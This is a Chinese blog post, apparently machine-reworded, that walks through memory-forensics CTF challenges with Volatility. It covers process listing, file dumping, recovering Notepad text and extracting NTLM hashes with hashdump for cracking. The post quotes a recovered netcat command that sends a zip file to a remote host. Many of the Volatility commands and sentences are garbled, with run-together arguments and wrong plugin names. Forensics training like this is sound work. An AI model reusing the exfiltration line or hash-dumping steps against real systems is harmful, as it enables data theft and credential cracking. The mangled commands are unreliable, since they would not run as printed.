首页 > 编程知识 正文

电子证件,电子数据取证实验室

时间:2023-05-04 18:21:47 阅读:117162 作者:80

前言:比赛看了取证类的主题,但因为不知道,很尴尬。 因为没有完成比赛的问题,没有任何想法,所以看了师傅们的wp之后再再现。 然后在CTF平台上寻找取证类的主题,试着学习了一下。

了解知识取证方法进行取证

-获取文件元数据、创建时间线、命令历史记录、分析日志文件、哈希摘要和导出内存信息

使用未感染的清洁程序执行取证

u盘/网络存储中收集的数据取证

-关闭电源后,创建硬盘镜像、分析镜像(MBR、GPT、LVM )取证工具。 我现在正在学习如何使用kali的部分取证工具。

内存dump工具

内存文件接近或稍大,为raw格式。 使用取证工具volatility :

分析内存文件

volatility imageinfo -f xp.raw#文件信息,profilevolatilityhivelist-fxp.raw-- profile=winx PSP 3x 86 # 数据库文件volatility-fxp.raw-- profile=win XP SP3 x86 hive dump按虚拟机内存地址显示注册表内容volatility-fxp.raw-- profile account_ser Names'#用户帐户volatility-fxp.raw-- profile=win XP SP3 x86 printkey-k ' softwareMicrosoft wwer currentversiont Winlogin'#上次登录的用户volatility-fxp.raw-- profile=win XP SP3 x86 user assist #正在运行的程序,运行了多少次,或不附带volatility

可以立即安装apt-get安装卷。 百度也可以找到很多教程。 不说详细情况。

然后用几个问题来测试一下吧。

福克斯来自BUUCTF的主题。

下载后是512MB的raw文件,直接用工具分析

这有三个。 一般是第一个。 换言之,第一步必须首先检测该文件是在什么系统上生成的,然后的命令操作需要profile,必须指定OS。 所以这很重要。

在小故事中使用道具时遇到了这种情况,

错误信息: no suggestion (instantiatedwithnoprofile ) )。

这其实和工具没有关系。 为什么这么说,是因为打开的文件不是符合规则的文件。 也就是说,该文件不是原始文件,因此没有suggest。 昨天我一直觉得是我的工具问题,所以赶了半天,其实打开的文件不是volatility能分析的文件。

OK,插曲就要结束了。

继续解决问题……

查看进程

volatility-fmem.raw-- profile=win7SP1 x 86 _ 23418 pslist

请注意这四个过程

Dumpit.exe内存镜像提取工具。

TrueCrypt.exe磁盘加密工具。

Notepad.exe windows附带的记事本。

Mspaint.exe windows附带绘画工具。

查看用户主目录中的文件,可以看到有用户保存的图像文件

volatility-fmem.raw-- profile=win7SP1 x86 files can|grep-vtemporary|grep-v.dll|grep-e ' png|zif

我发现图片里有张没有标题的照片

可以对这个图像进行dump

volatility-fmem.raw---profile=win7SP1 x86 dumpfiles-q0x 0000001 ef b29 f8--- dump-dir=./在当前工作目录中查看此文件我在桌面上。

查看桌面文件

volatility-fmem.raw-- profile=win7SP1 x86 files can|grep ' desktop '

该软件在桌面上运行,还有LETHALBE3A-20190916-135515.raw文件。 此文件由dumpit生成,位于dump下

但是,桌面上什么都没有意味着该文件还没有内容。 这意味着原始数据不存在,因为在取证过程中dumpit仍在运行。

然后,请尝试用dump进行dumpit的内存镜像。

volatility-fmem.raw-- profile=win7SP1 x86 mem dump-p 3380-d./

然后分析3380.d

mp文件。
foremost分离得到一个包含flag.txt的一个文件。

找了好久发现在压缩包里

密码就是之前的那个无标题的图片内容。
1YxfCQ6goYBD6Q

未知题目


题目来源——https://www.freebuf.com/news/145262.html
同样的姿势,先查看操作系统的信息。使用imageinfo
发现是WinXPSP2x86
题目说在桌面写着什么,可能是记事本,不过不确定,可以pslist列一下。

看一遍,记事本才有可能写东西,所以直接列出notepad的内容

volatility -f m0re.raw --profile=WinXPSP2x86 notepad

发现有一串编码。

666C61677B57336C6563306D655F376F5F466F72336E356963737D

符合base16编码的规则。所以进行解密得到第一个flag。
flag{W3lec0me_7o_For3n5ics}
第二个问题,sqddb的密码,
hashdump可以将内存中的NTML提取出来:

volatility -f m0re.raw --profile=WinXPSP2x86 hashdump


找个在线网站进行破解1e581aafa474dfadfdf83fc31e4fd4ea
破解得到flag{19950101}
果然一般都是生日当密码。
第三个
传送文件就需要连接外机,刚看到有nc,所以他一定是用nc来传输文件的,这样一来就有目标了。使用connscan插件查看

可以看到本地机器是192.168.57.21的1045端口去连接了远程的192.168.57.14的2333端口,进程号是120,知道进程号就可以使用psscan(进程池扫描插件)来获取信息。

看到了确实是nc,而且还有cmd,则说明是在cmd的命令行下使用的nc连接的外机。使用cmdscan插件来查看命令历史记录。

看到使用了命令

ipconfigcd C:Program FilesNetcatnc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip

传输的文件是P@ssW0rd_is_y0ur_bir7hd4y.zip
可以使用memdump插件(转储进程的可寻址内存数据插件)导出使用nc发送的相关数据:

volatility -f m0re.raw --profile=WinXPSP2x86 memdump -p 120 --dump-dir=./

桌面生成一个120.dmp
跟上一题一样,foremost分离文件
有六个zip文件,挨个打开看看,输入密码19950101得到flag

到此,内存取证入门。下次再详细地学习活取证和死取证

参考博客
http://www.bubuko.com/infodetail-3418258.html
内存取证三项CTF赛题详解

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。